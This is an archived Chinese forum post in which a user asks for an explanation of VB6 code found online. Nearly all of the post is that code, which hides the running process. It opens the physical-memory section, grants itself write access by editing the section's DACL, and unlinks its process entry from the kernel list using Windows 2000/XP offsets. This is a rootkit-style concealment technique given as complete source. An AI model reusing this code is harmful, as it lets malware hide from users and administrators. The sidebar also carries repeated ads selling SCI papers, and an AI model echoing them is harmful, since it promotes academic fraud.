| 查看: 428 | 回复: 1 | |||
| 当前主题已经存档。 | |||
[交流]
【求助】谁能看懂这坨咚咚(VB6)，帮忙解释下
|
|||
|
网上找到的vb6代码，可以在进程列表中隐藏进程，可是看不懂。谁能看明白帮忙解释下，谢啦。 Option Explicit Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004 Private Const STATUS_ACCESS_DENIED = &HC0000022 Private Const STATUS_INVALID_HandLE = &HC0000008 Private Const ERROR_SUCCESS = 0& Private Const SECTION_MAP_WRITE = &H2 Private Const SECTION_MAP_READ = &H4 Private Const READ_CONTROL = &H20000 Private Const WRITE_DAC = &H40000 Private Const NO_INHERITANCE = 0 Private Const DACL_SECURITY_INFORMATION = &H4 Private Type IO_STATUS_BLOCK Status As Long Information As Long End Type Private Type UNICODE_STRING Length As Integer MaximumLength As Integer Buffer As Long End Type Private Const OBJ_INHERIT = &H2 Private Const OBJ_PERMANENT = &H10 Private Const OBJ_EXCLUSIVE = &H20 Private Const OBJ_CASE_INSENSITIVE = &H40 Private Const OBJ_OPENIF = &H80 Private Const OBJ_OPENLINK = &H100 Private Const OBJ_KERNEL_HandLE = &H200 Private Const OBJ_VALID_ATTRIBUTES = &H3F2 Private Type OBJECT_ATTRIBUTES Length As Long RootDirectory As Long ObjectName As Long Attributes As Long SecurityDeor As Long SecurityQualityOfService As Long End Type Private Type ACL AclRevision As Byte Sbz1 As Byte AclSize As Integer AceCount As Integer Sbz2 As Integer End Type Private Enum ACCESS_MODE NOT_USED_ACCESS GRANT_ACCESS SET_ACCESS DENY_ACCESS REVOKE_ACCESS SET_AUDIT_SUCCESS SET_AUDIT_FAILURE End Enum Private Enum MULTIPLE_TRUSTEE_OPERATION NO_MULTIPLE_TRUSTEE TRUSTEE_IS_IMPERSONATE End Enum Private Enum TRUSTEE_FORM TRUSTEE_IS_SID TRUSTEE_IS_NAME End Enum Private Enum TRUSTEE_TYPE TRUSTEE_IS_UNKNOWN TRUSTEE_IS_USER TRUSTEE_IS_GROUP End Enum Private Type TRUSTEE pMultipleTrustee As Long MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION TrusteeForm As TRUSTEE_FORM TrusteeType As TRUSTEE_TYPE ptstrName As String End Type Private Type EXPLICIT_ACCESS grfAccessPermissions As Long grfAccessMode As ACCESS_MODE grfInheritance As Long TRUSTEE As TRUSTEE End Type Private Type AceArray List() As EXPLICIT_ACCESS End Type Private Enum SE_OBJECT_TYPE SE_UNKNOWN_OBJECT_TYPE = 0 SE_FILE_OBJECT SE_SERVICE SE_PRINTER SE_REGISTRY_KEY SE_LMSHARE SE_KERNEL_OBJECT SE_WINDOW_OBJECT SE_DS_OBJECT SE_DS_OBJECT_ALL SE_PROVIDER_DEFINED_OBJECT SE_WMIGUID_OBJECT End Enum Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long) Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long) Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Private verinfo As OSVERSIONINFO Private g_hNtDLL As Long Private g_pMapPhysicalMemory As Long Private g_hMPM As Long Private aByte(3) As Byte Public Sub HideCurrentProcess() '在进程列表中隐藏当前应用程序进程 Dim thread As Long, process As Long, fw As Long, bw As Long Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long verinfo.dwOSVersionInfoSize = Len(verinfo) If (GetVersionEx(verinfo)) <> 0 Then If verinfo.dwPlatformId = 2 Then If verinfo.dwMajorVersion = 5 Then Select Case verinfo.dwMinorVersion Case 0 lOffsetFlink = &HA0 lOffsetBlink = &HA4 lOffsetPID = &H9C Case 1 lOffsetFlink = &H88 lOffsetBlink = &H8C lOffsetPID = &H84 End Select End If End If End If If OpenPhysicalMemory <> 0 Then thread = GetData(&HFFDFF124) process = GetData(thread + &H44) fw = GetData(process + lOffsetFlink) bw = GetData(process + lOffsetBlink) SetData fw + 4, bw SetData bw, fw CloseHandle g_hMPM End If End Sub Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long) Dim pDacl As Long Dim pNewDacl As Long Dim pSD As Long Dim dwRes As Long Dim ea As EXPLICIT_ACCESS GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD ea.grfAccessPermissions = SECTION_MAP_WRITE ea.grfAccessMode = GRANT_ACCESS ea.grfInheritance = NO_INHERITANCE ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar SetEntriesInAcl 1, ea, pDacl, pNewDacl SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0 CleanUp: LocalFree pSD LocalFree pNewDacl End Sub Private Function OpenPhysicalMemory() As Long Dim Status As Long Dim PhysmemString As UNICODE_STRING Dim Attributes As OBJECT_ATTRIBUTES RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory"  Attributes.Length = Len(Attributes) Attributes.RootDirectory = 0 Attributes.ObjectName = VarPtr(PhysmemString) Attributes.Attributes = 0 Attributes.SecurityDeor = 0 Attributes.SecurityQualityOfService = 0 Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes) If Status = STATUS_ACCESS_DENIED Then Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes) SetPhyscialMemorySectionCanBeWrited g_hMPM CloseHandle g_hMPM Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes) End If Dim lDirectoty As Long verinfo.dwOSVersionInfoSize = Len(verinfo) If (GetVersionEx(verinfo)) <> 0 Then If verinfo.dwPlatformId = 2 Then If verinfo.dwMajorVersion = 5 Then Select Case verinfo.dwMinorVersion Case 0 lDirectoty = &H30000 Case 1 lDirectoty = &H39000 End Select End If End If End If If Status = 0 Then g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000) If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM End If End Function Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long Dim lTemp As Long VAddr = addr CopyMemory aByte(0), VAddr, 4 lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22)) PGDE = BaseAddress + lTemp * 4 CopyMemory PGDE, ByVal PGDE, 4 If (PGDE And 1) <> 0 Then lTemp = PGDE And &H80 If lTemp <> 0 Then PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF) Else PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000) lTemp = (VAddr And &H3FF000) / (2 ^ 12) PTE = PGDE + lTemp * 4 CopyMemory PTE, ByVal PTE, 4 If (PTE And 1) <> 0 Then PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF) UnmapViewOfFile PGDE End If End If End If LinearToPhys = PAddr End Function Private Function GetData(addr As Long) As Long Dim phys As Long, tmp As Long, ret As Long phys = LinearToPhys(g_pMapPhysicalMemory, addr) tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000) If tmp <> 0 Then ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4 CopyMemory ret, ByVal ret, 4 UnmapViewOfFile tmp GetData = ret End If End Function Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean Dim phys As Long, tmp As Long, x As Long phys = LinearToPhys(g_pMapPhysicalMemory, addr) tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000) If tmp <> 0 Then x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4 CopyMemory ByVal x, data, 4 UnmapViewOfFile tmp SetData = True End If End Function Private Function ByteArrToLong(inByte() As Byte) As Double Dim I As Integer For I = 0 To 3 ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I) Next I End Function |
回复此楼» 猜你喜欢
售SCI一区T0P文章，我:8.O55.1.O.54,科目全,可十急
已经有10人回复
-
售SCI文章，我:8O.5.5.1O.54,科目全,可十急
已经有6人回复
-
为什么到现在没收到通知？
已经有3人回复
-
有没有仍没收到信息的
已经有5人回复
-
面上意见出来了
已经有10人回复
-
导师吐槽：我怎么摊上了这么个极品研究生！
已经有9人回复
-
售SCI文章，我:8O.5.5.1O.54,科目全,可十急
已经有5人回复
-
售SCI一区T0P文章，我:8.O.55.1.O54,科目全,可伽急
已经有7人回复
-
售SCI一区文章，我:8.O.551.O.5.4,科目全,可伽急
已经有4人回复
-
麻烦专家们看看评委们的意见（F口面上）
已经有10人回复
2楼2009-02-24 20:21:59
投票:
30